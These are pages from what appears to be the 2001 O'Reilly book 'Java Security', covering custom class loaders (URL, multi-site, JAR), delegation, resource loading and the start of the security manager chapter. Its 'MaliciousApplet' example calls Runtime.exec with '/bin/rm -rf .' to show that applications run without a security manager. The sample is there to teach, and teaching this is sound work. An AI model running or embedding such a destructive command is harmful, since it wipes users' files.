3.4.1. Implementing the ClassLoader Class

Aside from the primordial class loader, all Java class loaders must extend the ClassLoaderclass (java.lang.ClassLoader). Since the ClassLoader class is abstract, it is necessary to subclass it to create a class loader.

3.4.1.1. Protected methods in the ClassLoader class

In order to implement a class loader, we start with this method:

protected abstract Class loadClass(String name, boolean resolve) figure
protected Class loadClass(String name, boolean resolve) figure

Using the rules of the class loader, find the class with the given name and, if indicated by the resolve variable, ensure that the class is resolved. If the class is not found, this method should throw a ClassNotFoundException. This method is abstract in 1.1, but not in 1.2. In 1.2, you typically do not override this method.

The loadClass() method is passed a fully qualified class name (e.g., java.lang.String or com.xyz.XYZPayrollApplet), and it is expected to return a class object that represents the target class. If the class is not a system class, the loadClass() method is responsible for loading the bytes that define the class (e.g., from the network).

There are five final methods (listed below) in the ClassLoader class that a class loader can use to help it achieve its task.

protected final Class defineClass(String name, byte data[], int offset, int length)
protected final Class defineClass(String name, byte data[], int offset, int length, ProtectionDomain pd) figure

Create a Class object from an array of bytecodes. The defineClass() method runs the data through the bytecode verifier and then creates the Class object. This method also ensures that the name in the class file is the same as the name of the argument--that is, that the bytes actually define the desired class. We'll look at protection domains in Chapter 5, "The Access Controller"; if you use the signature without one, a default (system) domain will be provided for the class.

protected final Class findSystemClass(String name)

Attempt to find the named class by using the internal class loader to search the user's CLASSPATH. If the system class is not found, a ClassNotFoundException is generated. In 1.2, this method searches only the classes in the Java API.

protected final Class findLoadedClass(String name)

Find the class object for a class previously loaded by this class loader. If the class is not found, a null reference is returned.

Finding Previously Loaded Classes

According to the Java specification, a class loader is required to cache the classes that it has previously loaded, so that when it is asked to load a particular class, it is not supposed to re-read the class file. Not only is this more efficient, it allows a simpler internal implementation of many methods, including the resolveClass() method.

The Java specification hedges this somewhat by stating that this requirement may change in the future, when the classes will be cached by the virtual machine itself. Hence, the ClassLoader class in JDK 1.0 did not do any caching, and it was up to concrete implementations of class loaders to perform this caching.

Beginning with JDK 1.1, however, caching within the class loader was considered important enough that the base ClassLoader class now performs this caching automatically: a class is put into the cache of the class loader in the defineClass() method and may be retrieved from the cache with the findLoadedClass() method. Since these methods are final, and since the cache itself is a private instance variable of the ClassLoader class, this permits a class loader to be written without any knowledge of whether the class loader or the virtual machine is doing the caching.

protected final void resolveClass(Class c)

For a given class, resolve all the immediately needed class references for the class; this will result in recursively calling the class loader to ask it to load the referenced class.

The loadClass() method is responsible for implementing the eight steps of the class definition list given above. Typically, implementation of this method looks like this:

Class Definition

protected Class loadClass(String name, boolean resolve) {
    Class c;
    SecurityManager sm = System.getSecurityManager();

    // Step 1 -- Check for a previously loaded class
    c = findLoadedClass(name);
    if (c != null)
        return c;

    // Step 2 -- Check to make sure that we can access this class
    if (sm != null) {
        int i = name.lastIndexOf('.');
        if (i >= 0)
            sm.checkPackageAccess(name.substring(0, i));
    }

    // Step 3 -- Check for system class first
    try {
        // In 1.2 only, defer to another class loader if available
        if (parent != null)
            c = parent.loadClass(name, resolve);
        else

        // Call this method in both 1.1 and 1.2
                c = findSystemClass(name);

        if (c != null)
            return c;
    } catch (ClassNotFoundException cnfe) {
        // Not a system class, simply continue
    }

    // Step 4 -- Check to make sure that we can define this class
    if (sm != null) {
        int i = name.lastIndexOf('.');
        if (i >= 0)
            sm.checkPackageDefinition(name.substring(0, i));
    }

    // Step 5 -- Read in the class file
    byte data[] = lookupData(name);

    // Step 6 and 7 -- Define the class from the data; this also
    //		 passes the data through the bytecode verifier
    c = defineClass(name, data, 0, data.length);

    // Step 8 -- Resolve the internal references of the class
    if (resolve)
        resolveClass(c);

    return c;
}

For most of the class loaders we're interested in, this skeleton of a class loader is sufficient, and all we need to change is the definition of the lookupData() method (as well as the constructor of the class, which might need various initialization parameters).

This method might be used to implement a 1.1-based class loader, where the loadClass() method is abstract. In 1.2, however, it is easier to use the existing loadClass() method and override only the existing findClass() method:

protected Class findClass(String name) figure

Load the given class according to the internal rules of the class loader. This method should assume that it is responsible for implementing only steps 5, 6, and 7 in our list: that is, it should read the data and call the defineClass() method, but it needn't look for an existing implementation of the class or check to see if it is a system class. If the class cannot be found, this method should return null (which is what the default implementation of this method returns in all cases).

We'll use this method in our example of a secure class loader. If you must implement a 1.1-based class loader, you can use the code from that example to implement a lookupData() method that could be used by the above implementation of the loadClass() method.

From a security point of view, the loadClass() method is important because it codifies several aspects of how Java handles security. One example of this is that the order in which the loadClass() method looks for classes is significant. Much of the security within Java itself depends on classes in the Java API doing the correct thing--e.g., the java.lang.String class is final and holds the array of characters representing the string in a private instance variable; this allows strings to be considered constants, which is important to several aspects of Java security. When a class loader is asked to find the java.lang.String class, it is very important that it return the class from the Java API rather than returning a class (possibly having different and insecure semantics) it loaded from a different location.

Hence, it is important that the class loader call the findSystemClass() method immediately after it attempts (and fails) to find the class in its internal cache (via the findLoadedClass() method). By codifying this behavior in the loadClass() method, the ClassLoader class ensures that the class loader will have the correct behavior to enforce the overall security of the virtual machine. This is why the loadClass() method is no longer abstract in 1.2. This method really should be made final now, but that would break compatibility with previously written class loaders.

Secure Class Loaders and the defineClass() Method

When a class is defined by a secure class loader, one of the parameters that it must specify is a CodeSource object or a ProtectionDomain object. A Code-Source object encapsulates certain information about the class--where it was loaded from and whether or not it was signed (and if so, by whom); a ProtectionDomain object encapsulates information about the specific permissions that have been granted to the class.

We're deferring discussion of these classes until Chapter 5, "The Access Controller", when we can discuss them in their proper context.

Violating security by returning the incorrect class would have required the cooperation of the class loader. This might have happened accidentally, if the author of the class loader did not provide a correct implementation. It might also have happened maliciously, if the author of the class loader intentionally wrote an incorrect implementation. The new implementation solves the first problem, but not the second: the author of the class loader can still override the loadClass() method directly to do whatever he wants. In general, you have to trust the author of your class loader anyway, so the new implementation enhances security mostly by assisting developers in writing more robust programs.

3.4.2. Implementing the SecureClassLoader Class

Starting with JDK 1.2, there is an extension of the ClassLoader class that any Java developer can use as the superclass of her own class loader: the SecureClassLoader class (java.security.SecureClassLoader).

In terms of security, the benefit of the SecureClassLoader class comes because it is fully integrated with the notion of protection domains that was introduced in 1.2. We'll discuss this integration more fully in Chapter 5, "The Access Controller", when we have an understanding of what a protection domain is.

3.4.2.1. Protected methods of the SecureClassLoader class

The SecureClassLoader class provides this new method:

protected final Class defineClass(String name, byte[] buf, int offset, int length,
CodeSource cs) figure

Define a class that is associated with the given code source. If the code source is null, this method is the equivalent of the defineClass() method in the base ClassLoader class. We'll defer showing an example of this method to Chapter 5, "The Access Controller", when we discuss code source objects.

As our first example of a class loader, we'll use the same paradigm for loading classes that a Java-enabled browser uses, namely an HTTP connection to a web server:

Class Definition

public class JavaRunnerLoader extends SecureClassLoader {
    protected URL urlBase;
    public boolean printLoadMessages = true;

    public JavaRunnerLoader(String base, ClassLoader parent) {
        super(parent);
        try {
            if (!(base.endsWith("/")))
                base = base + "/";
            urlBase = new URL(base);
        } catch (Exception e) {
            throw new IllegalArgumentException(base);
        }
    }

    byte[] getClassBytes(InputStream is) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        boolean eof = false;
        while (!eof) {
            try {
                int i = bis.read();
                if (i == -1)
                    eof = true;
                else baos.write(i);
            } catch (IOException e) {
                return null;
            }
        }
        return baos.toByteArray();
    }

    protected Class findClass(String name) {
        String urlName = name.replace('.', '/');
        byte buf[];
        Class cl;

        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            int i = name.lastIndexOf('.');
            if (i >= 0)
                sm.checkPackageDefinition(name.substring(0, i));
        }
        try {
            URL url = new URL(urlBase, urlName + ".class");
            if (printLoadMessages)
                System.out.println("Loading " + url);
            InputStream is = url.openConnection().getInputStream();
            buf = getClassBytes(is);
            cl = defineClass(name, buf, 0, buf.length, null);
            return cl;
        } catch (Exception e) {
            System.out.println("Can't load " + name + ": " + e);
            return null;
        }
    }
}

The key decision in using this class loader is where the classes are located--that is, the URL that needs to be passed to the constructor. If we were using this class loader in a browser, that URL would be the applet's CODEBASE; for an application, this location is up to the application to decide, using whatever means it deems appropriate (in the JavaRunner application, we used a command-line argument for that purpose). Note that the URL that is passed to the constructor must be a directory; in order to compose that directory into a URL later in the findClass() method, the name must end with a slash.

The logic of the findClass() method itself is simple: we need to convert the class name (e.g., com.XYZ.HRApplet) to a URL, which we can do by replacing the package-separating periods with slashes. Once the URL has been created, we simply obtain an input stream to the URL, read the bytes from that stream, and pass the bytes to the defineClass() method.

Note that the findClass() method encompasses most of the logic that is necessary for the lookupData() method we'd need if we were writing a 1.1-based class loader. The only difference for a 1.1-based class loader is that we would not need to call the defineClass() method, as that is called in our 1.1-based implementation of the loadClass() method.

The implementation we've just shown is the basis for the implementation of the URLClassLoader class. The basic difference between the two is that our implementation operates on a single URL, while the URLClassLoader class operates on an array of URLs. The URLClassLoader class can also read JAR files while our present implementation can only read individual class files; we'll remedy both those situations in the next section.

3.4.3. Implementing Security Policies in the Class Loader

When we discussed the algorithm used to load classes, we mentioned that you could test to see if the class loader was allowed to access or define the package that the class belonged to. You might, for example, want to test whether the program should be allowed to access classes in the sun package, or define classes in the java package.

It is up to the author of the class loader to put these checks into the class loader--even in 1.2. In 1.2, if you want to make the check for package access, you can do that by calling the checkPackageAccess() method of the security manager in the same way that we called the checkPackageDefinition() method, but that will only prevent you from accessing classes that aren't found by the system class loader. Alternately in 1.2, you can use the newInstance() method of the URLClassLoader class, which makes such a check; or you can override the loadClass() method itself to provide such a check, as we showed earlier. In 1.1, of course, you have to write the loadClass() method from scratch, so you can call the security manager or not, as you deem appropriate.

In the case of defining a class in a package, the necessary code in a 1.2-based class loader must be inserted into the findClass() method as we did in our example class loader. Note that class loaders that are created by calling the constructor of the URLClassLoader class do not make such a call; they allow you to define a class in any package whatsoever.

For the Launcher (and any applications built on the URLClassLoader class), then, the default security model does not perform either of these checks. This is unfortunate: if a program is allowed to define a class in the java package, then that class will have access to all the package-protected classes and variables within that package, which carries with it some risk. The reason this model is the default has to do with the way in which the access controller defines permissions; we'll explore it more in depth when we write our own security manager in Chapter 6, "Implementing Security Policies".

Previous | Home | Next
3.3. Loading Classes | Book Index | 3.5. Extensions to the Class Loader
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Extensions to the Class Loader (Java Security)

 Java Security Search this book

3.5. Extensions to the Class Loader

When we implemented a class loader above, we had a fully operational class loader that paralleled the first class loaders that were used by Java's appletviewer or by a Java-enabled browser. However, there are other extensions to the class loader that are often useful.

Class Loaders and Other Protocols

Long before HTTP and the Web became popular, IP networks like the Internet had dozens of other protocols upon which a class loader could be based--FTP, NFS, RCP, and others. It's possible to write a class loader based on any of these protocols, although it's not as easy as using HTTP. The standard Java URL class will handle all the low-level details of the HTTP protocol for us, whereas we'd have to write the low-level details of the ftp (or whichever) protocol ourselves. We won't show an example of any of these protocols, since the concepts are all the same.

One advantage these protocols have is that they typically offer some level of user authentication: FTP requires a password, NFS requires appropriate credentials to be sent, etc. Hence, some of these protocols might seem well-suited to an implementation where security is a concern--except that this level of authentication is often no stronger than simply putting the classes to be downloaded on a web server that requires a password to get into a particular directory.

3.5.1. Loading from Multiple Sites

We started with a complete class loader suitable for use in appletviewer-type programs where the classes are to be loaded from the network. This is good as far as it goes, but let's delve a little more into the security issues that surround that class loader.

In the world of Java-enabled browsers, an applet can retrieve classes from only one site--the CODEBASE specified in the applet's HTML tag. There are other reasons why an applet can only make a network connection to its CODEBASE (which we'll discuss in Chapter 4, "The Security Manager Class"), but one of the reasons is contained in the discussion we outlined above: because classes loaded by the same class loader are considered to be in the same package, and an applet that loaded classes from multiple sites could run the risk of classes from different sites interfering with each other.

In an ideal world, however, a Java program may want to load classes from several locations on the network. Consider the deployment outlined in Figure 3-2 for XYZ Corporation: XYZ Corporation employs a network support group to manage its departmental servers, and within each department, there are programmers who are responsible for deploying the department's applications on those servers.

Figure 3-2. A distributed deployment

When the corporate network support group develops some useful JavaBeansTM components, everyone in the corporation is encouraged to use them in their departmentally developed applications. This gives the applications a certain consistency between departments as well as promoting reuse of the efforts of the network support group. But as it stands now, the support group must distribute the Java Bean class files to each department so that these beans can be used by programs that are hosted on each departmental server.

Of course, there are technologies outside of Java that can manage distribution, but this is just a variation of the same application distribution problem that Java was originally hailed for solving. Unfortunately, the single-host-based class loader employed by standard Java-enabled browsers doesn't address this situation.

One improvement that we might make is to allow our class loader to load classes from multiple hosts on the network. There's some overhead involved here: when a program running on a machine on the HR network needs to load a class, does it check for the class on the HR server first or on the support group server first? Either way, there will be a number of lookups that check the wrong server first, which is somewhat inefficient. Judicious use of package names could help: if the support group beans were all placed in a single package, the class loader could be smart enough to contact the support group server only when asked to load classes from that package.

Remember that this intelligence about package names solves a logistical problem as well. Say that the support group writes a Java bean called Check that provides a nice graphical representation of a checkbox; this graphical representation is part of the look-and-feel on which XYZ Corporation wants to standardize. Now the HR group wants to create a payroll application, so they create a Check class representing the financial instrument that is used to pay their employees. Now when an HR applet wants to instantiate a Check object, what is it referring to--a GUI class or a financial instrument?

Solving this problem in the intranet world is straightforward--it's easy for the support and HR groups to coordinate their namespace so that the class loader won't see these collisions (e.g., by having the support group use names in a particular package, which again could make the class loader more efficient). In the case of the freewheeling Internet, this type of coordination is not possible: there can be no guarantee that two unrelated sites won't use classes that are in the same package. So the multiple-site class loader is only appropriate for intranet use.

There are various ways in which the multiple-site class loader could be implemented--for this example, we'll assume that any classes that are in the com.XYZ.support package should be loaded from the network support group's server (which we'll hardcode into the class loader, though we would normally configure this to be a property). Any other classes should come from the server that initialized the class loader. So our new class loader looks like this:

Class Definition

public class MultiLoader extends JavaRunnerLoader {
    private static final String server = "support.xyz.com/";

    public MultiLoader(String url, ClassLoader parent) {
        super(url, parent);
    }

    protected Class findClass(String name) {
        URL codeURL;

        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            int i = name.lastIndexOf('.');
            if (i >= 0)
                sm.checkPackageDefinition(name.substring(0, i));
        }

        try {
            String codeName = name.replace('.', '/') + ".class";
            if (name.startsWith("com.xyz.support"))
                codeURL = new URL("http://" + server + codeName);
            else codeURL = new URL(urlBase, codeName);
            if (printLoadMessages)
                System.out.println("Loading " + name);
            InputStream is = codeURL.openConnection().getInputStream();
            byte buf[] = getClassBytes(is);
            return defineClass(name, buf, 0, buf.length, null);
        } catch (Exception e) {
            return null;
        }
    }
}

If you're thinking clearly about the security ramifications of this code, then you've already spotted a potential error: just because we're asked to load a class named com.xyz.support.Car doesn't necessarily mean that we should contact our internal server to do so--we should only contact that internal server if the other classes that we are loading are also from our internal network. That is, if we use this class loader in a browser that is loading an applet from www.EvilSite.org that requests the class com.xyz.support.Car, we should attempt to load that class from EvilSite and not from our support group's server; we should only load com.xyz.support classes from support.xyz.com when the other classes in the program come from another machine in the xyz.com domain.

We could have put the logic to deal with that possibility into the class loader itself; however, it's equally possible to put that logic elsewhere into our application. The JavaRunner program, for example, must instantiate a new class loader for each program it loads, and it's simpler to instantiate a MultiLoader class loader when the program is being loaded from a machine within the xyz.com domain, and to instantiate a regular JavaRunnerLoader when the program is being loaded from a machine outside the xyz.com domain.

Note the different approach taken here and in the URLClassLoader class: in this case, we contact a second machine only when we have classes in a particular package that we expect to find on that machine. If we had constructed a URLClassLoader as follows:

Class Definition

URL urls[] = new URL[2];
urls[0] = new URL("http://hr.xyz.com/");
urls[1] = new URL("http://support.xyz.com/");
URLClassLoader ucl = new URLClassLoader(urls);

then we would have functionally achieved something similar. However, with the URL class loader, when we search for a class named com.xyz.support.Check, we'll always contact the HR server first, which is slightly less efficient. On the other hand, the technique used by the URL class loader is clearly more flexible than the approach we've outlined above. In addition, the present implementation of the URLClassLoader will not work with multiple HTTP-based URLs, so for the present, you must write your own class loader to handle that case.

3.5.2. A JAR File Class Loader

There is one important feature present in many class loaders that we haven't yet mentioned, and that is the ability to load a single file that contains many classes. JAR files have a significant advantage over individual class files: loading several classes in a single file can be orders of magnitude faster than loading those same classes through individual HTTP connections. The reason for this comes from a property of the HTTP protocol: it takes a relatively long time to set up an HTTP connection. In fact, the time it takes to transfer the data in a Java class file over a network is usually much shorter than the time required to set up the HTTP connection. Hence, JAR files are often preferred because they can greatly speed up the time it takes to download an applet.

In browsers based on 1.0.2, support for JAR files is browser-dependent; those browsers that support them refer to the JAR file as an archive. In browsers based on 1.1, support for JAR files is present within the JDK itself using classes in the java.util.zip package, because a JAR file is really just a zip file with some additional information. In Java 1.2, there is an additional set of classes in the java.util.jar package that can help to process these files as well (including the additional information in the JAR file).

Of course, there's a flip side to using JAR files. If you use a large word-processing program in Java, you'll probably want to avoid loading a lot of the classes when you download the program: there's no need to spend the time downloading all the class files that implement the spellchecker until it is actually time to check the document's spelling. With JAR files, you don't have that luxury; you must load all the classes in a single shot. Even in those browsers in which you can specify multiple JAR files, the class loader has no way of knowing which particular JAR file contains which particular classes, so it still has to load all of them at once.[5]

[5]A Java application could be more clever about this: it could know to load the archive containing the classes to perform the spellcheck when it was time to run the spellchecker. But an applet cannot do that, because an applet has no mechanism that it can use to tell the browser to load a new archive.

Nevertheless, JAR files are very popular, and they certainly have their place for programs where all (or at least most) of the classes are likely to be used every time the program is run. So we'll look into the additions that must be made to our class loader in order for it to support loading a JAR file. This may seem to be taking us somewhat far afield of our discussion about application security, but there is another reason JAR files are important: they provide the necessary support for digitally signed classes. We typically speak of a signed class as an entity unto itself; in fact, a signed class can only be delivered as part of a JAR file. Hence, a class loader that can process JAR files is very important.

So, to complete our understanding of the class loader and to prepare us for those future examples, we'll show how to add JAR support to our custom class loader. In order to support a JAR file, we'll create a new class. Although the logic is similar to our JavaRunnerLoader class, we get no benefit from extending that class, so we'll show the full implementation here. Changes to the JavaRunnerLoader class are shown in bold.

Class Definition

public class JarLoader extends SecureClassLoader {
    private URL urlBase;
    public boolean printLoadMessages = true;
    Hashtable classArrays;

    public JarLoader(String base, ClassLoader parent) {
        super(parent);
        try {
            if (!(base.endsWith("/")))
                base = base + "/";
            urlBase = new URL(base);
            classArrays = new Hashtable();
        } catch (Exception e) {
            throw new IllegalArgumentException(base);
        }
    }

    private byte[] getClassBytes(InputStream is) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        boolean eof = false;
        while (!eof) {
            try {
                int i = bis.read();
                if (i == -1)
                    eof = true;
                else baos.write(i);
            } catch (IOException e) {
                return null;
            }
        }
        return baos.toByteArray();
    }

    protected Class findClass(String name) {
        String urlName = name.replace('.', '/');
        byte buf[];
        Class cl;

        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            int i = name.lastIndexOf('.');
            if (i >= 0)
                sm.checkPackageDefinition(name.substring(0, i));
        }

        buf = (byte[]) classArrays.get(urlName);
        if (buf != null) {
            cl = defineClass(name, buf, 0, buf.length, null);
            return cl;
        }

        try {
            URL url = new URL(urlBase, urlName + ".class");
            if (printLoadMessages)
                System.out.println("Loading " + url);
            InputStream is = url.openConnection().getInputStream();
            buf = getClassBytes(is);
            cl = defineClass(name, buf, 0, buf.length, null);
            return cl;
        } catch (Exception e) {
            System.out.println("Can't load " + name + ": " + e);
            return null;
        }
    }

    public void readJarFile(String name) {
        URL jarUrl = null;
        JarInputStream jis;
        JarEntry je;

        try {
            jarUrl = new URL(urlBase, name);
        } catch (MalformedURLException mue) {
            System.out.println("Unknown jar file " + name);
            return;
        }
        if (printLoadMessages)
            System.out.println("Loading jar file " + jarUrl);

        try {
            jis = new JarInputStream(
                            jarUrl.openConnection().getInputStream());
        } catch (IOException ioe) {
            System.out.println("Can't open jar file " + jarUrl);
            return;
        }

        try {
            while ((je = jis.getNextJarEntry()) != null) {
                String jarName = je.getName();
                if (jarName.endsWith(".class"))
                    loadClassBytes(jis, jarName);
                // else ignore it; it could be an image or audio file
                jis.closeEntry();
            }
        } catch (IOException ioe) {
            System.out.println("Badly formatted jar file");
        }
    }

    private void loadClassBytes(JarInputStream jis, String jarName) {
        if (printLoadMessages)
            System.out.println("\t" + jarName);
        BufferedInputStream jarBuf = new BufferedInputStream(jis);
        ByteArrayOutputStream jarOut = new ByteArrayOutputStream();
        int b;
        try {
            while ((b = jarBuf.read()) != -1)
                jarOut.write(b);
            classArrays.put(jarName.substring(0, jarName.length() - 6),
                            jarOut.toByteArray());
        } catch (IOException ioe) {
            System.out.println("Error reading entry " + jarName);
        }
    }

    public void checkPackageAccess(String name) {
        SecurityManager sm = System.getSecurityManager();
        if (sm != null)
            sm.checkPackageAccess(name);
    }
}

The bulk of the change in this example is the addition of two new methods (the readJarFile() and loadClassBytes() methods). These two new methods are used to process the JAR file.

The classes in the java.util.jar package handle all the details about the JAR file for us, and we're left with a simple implementation: we use the getNextJarEntry() method to obtain each file in the archive and process each one sequentially. For maximum efficiency, we don't actually need to create the class from the bytes until necessary: the loadClassBytes() method just creates an array of bytes for each class in the JAR file.

This necessitates a slight change to the logic in our findClass() method: now when we need to provide a class that is not a system class, we check first to see if that class is in the classArrays hashtable. If it is, we obtain the bytes for the class from that hashtable (where they were stored in the readJarFile() method) rather than opening a URL to obtain the bytes for the class over the network.

If you need to produce a similar class loader under 1.1, you can use the java.util.zip package instead of the java.util.jar package. In this example, the two are functionally equivalent, and you may simply substitute Zip every time you see Jar (and zip for jar) with one exception: replace the get-NextJarEntry() method with the getNextEntry() method. Later, when we deal with signed JAR files, that substitution will not work: the difference between the two packages is that the jar package understands the signature format and manifest of the JAR file.

This implementation is similar to the procedure followed by the URLClassLoader class; in that case, the JAR files occur as elements in the array of URLs passed to the class.

Previous | Home | Next
3.4. Implementing a Class Loader | Book Index | 3.6. Miscellaneous Class Loading Topics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Miscellaneous Class Loading Topics (Java Security)

 Java Security Search this book

3.6. Miscellaneous Class Loading Topics

There are a few details that we haven't yet covered. These details are not directly related to the security aspects of the class loader, which is why we've saved them until now. If you're interested in the complete details of the class loader, we'll fill in the last few topics here.

3.6.1. Delegation

Beginning with Java 1.2, class loading follows a delegation model. This new model permits a class loader to be instantiated with this constructor:

protected ClassLoader(ClassLoader delegate) figure

Create a class loader that is associated with the given class loader. This class loader delegates all operations to the delegate first: if the delegate is able to fulfill the operation, this class loader takes no action. For example, when the class loader is asked to load a class via the loadClass() method, it first calls the loadClass() method of the delegate. If that succeeds, the class returned by the delegate will ultimately be returned by this class. If that fails, the class loader then uses its original logic to complete its task:

Class Definition

public Class loadClass(String name) {
    Class cl;
    cl = delegate.loadClass(name);
    if (cl != null)
        return cl;
    // else continue with the loadClass() logic
}

You may retrieve the delegate associated with a class loader with the following method.

public final ClassLoader getParent() figure

Return the class loader to which operations are being delegated. If there is no such class loader, return null.

You'll notice that we used delegation in all of our examples. This is pretty much a requirement: when the virtual machine starts, it creates a URL class loader that is based on the directories and JAR files present in your CLASSPATH. That class loader is the class loader that will be used to load the first class in your application (i.e., the JavaRunner class in our example).

That URL class loader is the only class loader that knows about the CLASSPATH. If the application will reference any other classes that are part of the CLASSPATH, you will be unable to find them unless you use the delegation model of class loading: the JavaRunner loader will first ask the URL class loader to load the class. If the class is on the CLASSPATH, the URL class loader will succeed; otherwise, the Java-Runner loader will end up loading the class itself. This logic is built into the loadClass() method; you do not need to concern yourself with it at a programming level, but it is the reason why you must use delegation.

This URL class loader is known as the system class loader, and it may be retrieved via the following method:

public static classLoader getSystemClassLoader() figure

Return the system class loader (the class loader that was used to load the base application classes). If a security manager is in place, you must have the getClassLoader runtime permission to use this method (see Chapter 5, "The Access Controller").

Hence, to set up a delegation class loader, you can use this call:

Class Definition

jrl = new JavaRunnerLoader(ClassLoader.getSystemClassLoader())

instead of the methods we showed earlier.

3.6.2. Loading Resources

A class loader can load not only classes, but any arbitrary resource: an audio file, an image file, or anything else. Instead of calling the loadClass() method, a resource is obtained by invoking one of these methods:

public URL getResource(String name)
public InputStream getResourceAsStream(String name)
public URL findResource(String name) figure

Find the named resource and return either a URL reference to it or an input stream from which it can be read. Implementations of class loaders should look for resources according to their internal rules, which are typically (but need not be) the same rules as are used to find classes. In our first JavaRunnerLoader class, that would mean simply constructing a URL based on the urlBase concatenated with the name parameter.

In 1.1, the default behavior for these methods is to return null.

In 1.2, the getResource() method calls the getSystemResource() method; if it does not find a system resource, it returns the object retrieved by a call to the findResource() method (which by default will still be null). The getResourceAsStream() method simply calls the getResource() method and, if a resource is found, open the stream associated with the URL.

public static URL getSystemResource(String name)
public static InputStream getSystemResourceAsStream(String name)

Find the named resource and return either a URL reference to it or an input stream from which it can be read. By default, these methods look for the resource on the CLASSPATH and return that resource (if found).

public final Enumeration getResources(String name) figure
public Enumeration findResources(String name) figure

Return an enumeration of resources with the given name. In the first method, an enumeration of the local resources of all delegated class loaders (including the present class loader) is returned; in the second method, only the local resources of the present class loader are returned.

3.6.3. Loading Libraries

In 1.2, a new method exists in the ClassLoader class:

protected String findLibrary(String libname) figure

Return the directory from which native libraries should be loaded.

This method is used by the System.loadLibrary() method to determine the directory in which the native library in question should be found. If this method returns null (the default), the native library must be in one of the directories specified by either the java.library.path or java.sys.library.path property; typically, these properties are set in a platform-specific way (e.g., from the LD_LIBRARY_PATH on Solaris or the PATH on Windows). That mimics the behavior that applies in 1.1 and earlier releases.

However, a 1.2 custom class loader can override that policy and require that libraries be found in some application-defined location. This prevents a user from overriding the runtime environment to specify an alternate location for that library, which offers a slight security advantage. Note that if the user can write to the hardwired directory where the library lives, this advantage no longer exists: the user can simply overwrite the existing library instead of changing an environment variable to point to another library; the end result is the same.

Previous | Home | Next
3.5. Extensions to the Class Loader | Book Index | 3.7. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

3.7. Summary

The class loading mechanism is integral to Java's security features. Typically this integration is considered in light of the relationship between the class loader and the security manager. However, the class loader is important in its own right. The class loader must enforce the namespace separation between classes that are loaded from different sites (especially when these different sites are untrusted). Newer versions of the class loader (in Java 1.2) provide an easier route for developers of class loaders, and they provide more hooks into the access controller.

For sites that need a more flexible security policy, a different class loader may be desirable. For example, a class loader that allows programs within a protected, internal network to load class files from several machines on that internal network is particularly useful for extending the advantages that the Java model brings to program distribution. Other variations on this theme are possible--as long as the implementor remembers to keep the security requirements of Java's namespace model in mind when such variations are designed.

In the next chapters, we'll look in depth at Java's security manager and Java's protection domains, and see how the class loader and these features together further enforce Java's security policies.

Previous | Home | Next
3.6. Miscellaneous Class Loading Topics | Book Index | 4. The Security Manager Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Security Manager Class (Java Security)

 Java Security Search this book

Chapter 4. The Security Manager Class

Contents:

Overview of the Security Manager
Trusted and Untrusted Classes
Using the Security Manager
Summary

When most people think of Java security, they think of the protections afforded to a Java program--and, more particularly, only by default to a Java applet--by Java's security manager. As we've seen, there are other important facets of Java's security story, but the role played by the security manager is of paramount importance in the degree to which your machine will be safe from malicious Java programs.

On one level, the Java security manager is simple to understand, and it's often summarized by saying that it prevents Java applets from accessing your local disk or local network. The real story is more complicated than that, however, with the result that Java's security manager is often misunderstood. In this chapter, we'll look into how the security manager actually works, what it can and can't do, and when it does--and doesn't--protect you. In this chapter, we're only going to look at the security manager in terms of its capabilities, with an emphasis on how those capabilities are used by popular browsers; we'll look into writing our own security manager in the next few chapters.

4.1. Overview of the Security Manager

On a simple level, the security manager is responsible for determining most of the parameters of the Java sandbox--that is, it is ultimately up to the security manager to determine whether many particular operations should be permitted or rejected. If a Java program attempts to open a file, the security manager decides whether or not that operation should be permitted. If a Java program wants to connect to a particular machine on the network, it must first ask permission of the security manager. If a Java program wants to alter the state of certain threads, the security manager will intervene if such an operation is considered dangerous.

The security manager is of particular concern to authors and users of Java applets. In general, Java applications do not have security managers--unless the author of the application has provided one. Historically, that's been a somewhat unusual occurrence, even though there are many times when you might want a security manager in your Java application; this stems from the fact that before Java 1.2,[1] writing a security manager was more difficult than it is now. Beginning in 1.2, there is a default, user-configurable security manager that is suitable for most applications, one which can even be installed via a command-line argument when starting an application. This brings the benefits of a security manager to an application without requiring any programming. And we'll show how to write your own (non-default) security manager for the JavaRunner program in Chapter 6, "Implementing Security Policies".

[1]1.2 is now Java 2.

But this point cannot be overemphasized: Java applications (at least by default) have no security manager, while Java applets (again, by default) have a very strict security manager. This leads to a common misconception that exists in the arena of Java security: it's common to think that because Java is said to be secure, it is always secure, and that running Java applications that have been installed locally is just as secure as running Java applets inside a Java-enabled browser. Nothing is further from the truth.

To illustrate this point, consider the following malicious code:

Class Definition

public class MaliciousApplet extends Applet {
    public void init() {
        try {
            Runtime.getRuntime().exec("/bin/rm -rf .");
        } catch (Exception e) {}
    }
    public static void main(String args[]) {
        MaliciousApplet a = new MaliciousApplet();
        a.init();
    }
}

If you compile this code, place it on your web server, and load it as an applet, you'll get an error reflecting a security violation. However, if you compile this code, place it in a directory, and run it as an application, you'll end up deleting all the files in your current directory.[2] As a user, then, it's crucial that you understand which security manager is in place when you run a Java program so that you understand just what types of operations you are protected against.

[2]The example will only delete the files in your current directory if you run it on a Unix system, but we could have included similar code for any other operating system.

4.1.1. Security Managers and the Java API

The security manager can be considered a partnership between the Java API and the implementor of a specific Java application or of a specific Java-enabled browser. There is a class in the Java API called SecurityManager (java.lang.SecurityManager) which is the linchpin of this partnership--it provides the interface that the rest of the Java API uses to check whether particular operations are to be permitted. The essential algorithm the Java API uses to perform a potentially dangerous operation is always the same:

  1. The programmer makes a request of the Java API to perform an operation.

  2. The Java API asks the security manager if such an operation is allowable.

  3. If the security manager does not want to permit the operation, it throws an exception back to the Java API, which in turn throws it back to the user.

  4. Otherwise, the Java API completes the operation and returns normally.

Let's trace this idea with the example that we first saw in Chapter 1, "Java Application Security":

Class Definition

public class Cat {
    public static void main(String args[]) {
        try {
            String s;
